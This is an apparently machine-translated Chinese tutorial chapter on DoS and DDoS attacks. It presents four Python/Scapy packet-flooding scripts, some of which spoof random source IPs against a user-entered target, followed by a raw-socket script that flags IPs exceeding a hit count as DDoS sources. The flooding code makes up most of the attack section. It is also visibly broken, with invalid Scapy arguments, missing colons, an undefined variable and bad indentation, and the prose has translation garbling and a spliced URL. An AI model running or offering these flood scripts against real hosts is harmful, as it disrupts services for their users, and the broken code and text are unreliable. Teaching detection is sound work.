DoS & DDoS攻击

在本章中,我们将了解DoS和DdoS攻击,并了解如何检测它们.

随着电子商务行业的蓬勃发展,Web服务器现在更容易出现攻击,是黑客的一个容易攻击的目标.黑客通常会尝试两种类型的攻击和减号;

  • DoS(拒绝服务)

  • DDoS(Distribted Denial of Service)

DoS(拒绝服务)攻击

拒绝服务(DoS)攻击是黑客企图使网络资源不可用的一种尝试.它通常会临时或无限地中断主机,它连接到Internet.这些攻击通常针对托管在关键任务Web服务器(如银行,信用卡支付网关)上的服务.

DoS攻击的症状

  • 网络性能异常缓慢.

  • 特定网站不可用.

  • 无法访问任何网站.

  • 收到的垃圾邮件数量大幅增加.

  • 长期拒绝访问网络或任何互联网服务.

  • 特定网站不可用.

DoS攻击类型&它的Python实现

DoS攻击可以在数据链路,网络或应用层实现.现在让我们了解不同类型的DoS攻击&amp ;;它们在Python中的实现 :

单个IP单端口

使用单个IP和单个端口将大量数据包发送到Web服务器数.这是一种低级攻击,用于检查Web服务器的行为.它在Python中的实现可以在Scapy的帮助下完成.以下python脚本将帮助实现单IP单端口DoS攻击 :

from scapy.all import *
source_IP = input("Enter IP address of Source: ")
target_IP = input("Enter IP address of Target: ")
source_port = int(input("Enter Source Port Number:"))
i = 1

while True:
   IP1 = IP(source_IP = source_IP, destination = target_IP)
   TCP1 = TCP(srcport = source_port, dstport = 80)
   pkt = IP1 / TCP1
   send(pkt, inter = .001)
   
   print ("packet sent ", i)
      i = i + 1


执行时,上面的脚本将要求以下三件事 :

  • 源和目标的IP地址.

  • 源端口号的IP地址.

  • 然后它会向服务器发送大量数据包以检查其行为.

单IP多端口

使用单个IP和多个端口将大量数据包发送到Web服务器.它在Python中的实现可以在Scapy的帮助下完成.以下python脚本将帮助实现单IP多端口DoS攻击 :

from scapy.all import *
source_IP = input("Enter IP address of Source: ")
target_IP = input("Enter IP address of Target: ")
i = 1

while True:
   for source_port in range(1, 65535)
      IP1 = IP(source_IP = source_IP, destination = target_IP)
      TCP1 = TCP(srcport = source_port, dstport = 80)
      pkt = IP1 / TCP1
      send(pkt, inter = .001)
      
      print ("packet sent ", i)
         i = i + 1

多个IP单端口

使用多个IP和单个端口号将大量数据包发送到Web服务器.它在Python中的实现可以在Scapy的帮助下完成.以下Python脚本实现单IP多端口DoS攻击 :

Import random
from scapy.all import *
target_IP = input("Enter IP address of Target: ")
i = 1

while True:
   a = str(random.randint(1,254))
   b = str(random.randint(1,254))
   c = str(random.randint(1,254))
   d = str(random.randint(1,254))
   dot = "."
   Source_ip = a + dot + b + dot + c + dot + d
   
   for source_port in range(1, 65535)
      IP1 = IP(source_IP = source_IP, destination = target_IP)
      TCP1 = TCP(srcport = source_port, dstport = 80)
      pkt = IP1 / TCP1
      send(pkt,inter = .001)
      
      print ("packet sent ", i)
         i = i + 1


多个IP多端口

大量数据包通过以下方式发送到Web服务器:使用多个IP和多个端口.它在Python中的实现可以在Scapy的帮助下完成.以下Python脚本有助于实现多个IP多端口DoS攻击 :

Import random
from scapy.all import *
target_IP = input("Enter IP address of Target: ")
i = 1

while True:
   a = str(random.randint(1,254))
   b = str(random.randint(1,254))
   c = str(random.randint(1,254))
   d = str(random.randint(1,254))
   dot = "."
   Source_ip = a + dot + b + dot + c + dot + d
   
   for source_port in range(1, 65535)
      IP1 = IP(source_IP = source_IP, destination = target_IP)
      TCP1 = TCP(srcport = source_port, dstport = 80)
      pkt = IP1 / TCP1
      send(pkt,inter = .001)
      
      print ("packet sent ", i)
         i = i + 1


DDoS(分布式拒绝服务)攻击

分布式拒绝服务(DDoS)攻击是企图使在线服务或网站无效可以通过从多个来源产生大量流量来超载它.

与拒绝服务(DoS)攻击不同,其中一台计算机和一个Internet连接用于泛洪目标资源对于数据包,DDoS攻击使用许多计算机和许多Internet连接,这些连接通常在所谓的僵尸网络中全局分布.大规模的体积DDoS攻击可以产生每秒数十吉比特(甚至数百千兆比特)的流量.可以在 https://www.it1352.comhttps://www.tutorialspoint.com/ethical_hacking/ethical_hacking_ddos_attacks.htm

使用Python检测DDoS

实际上DDoS攻击有点难以检测,因为您不知道正在发送的主机交通是虚假的还是真实的.下面给出的Python脚本将有助于检测DDoS攻击.

首先,让我们导入必要的库 :

import socket
import struct

from datetime import datetime


现在,我们将创建一个我们在前面的部分中创建的socket.

 
s = socket.socket(socket.PF_PACKET,socket.SOCK_RAW,8)


我们将使用空字典 :

 
 dict = {}


以下代码行将打开一个文本文件,其中包含附加模式下DDoS攻击的详细信息.

 
 file_txt = open("attack_DDoS.txt",'a')
 t1 = str(datetime.now())


在以下代码行的帮助下,只要程序运行,就会写入当前时间.

 
 file_txt.w ritelines(t1)
 file_txt.writelines("\ n")


现在,我们需要假设来自特定IP的命中.在这里我们假设如果一个特定的IP击中超过15次,那么它将是一次攻击.

No_of_IPs = 15
R_No_of_IPs = No_of_IPs +10
   while True:
      pkt = s.recvfrom(2048)
      ipheader = pkt[0][14:34]
      ip_hdr = struct.unpack("!8sB3s4s4s",ipheader)
      IP = socket.inet_ntoa(ip_hdr[3])
      print "The Source of the IP is:", IP


以下代码行将检查字典中是否存在IP.如果它存在则会增加1.

if dict.has_key(IP):
   dict[IP] = dict[IP]+1
   print dict[IP]


下一行代码用于删除冗余.

if(dict[IP] > No_of_IPs) and (dict[IP] < R_No_of_IPs) :
   line = "DDOS attack is Detected: "
   file_txt.writelines(line)
   file_txt.writelines(IP)
   file_txt.writelines("\n")
else:
   dict[IP] = 1


运行上面的脚本后,我们将把结果放在一个文本文件中.根据该脚本,如果IP命中超过15次,则会打印出来,因为检测到DDoS攻击以及该IP地址.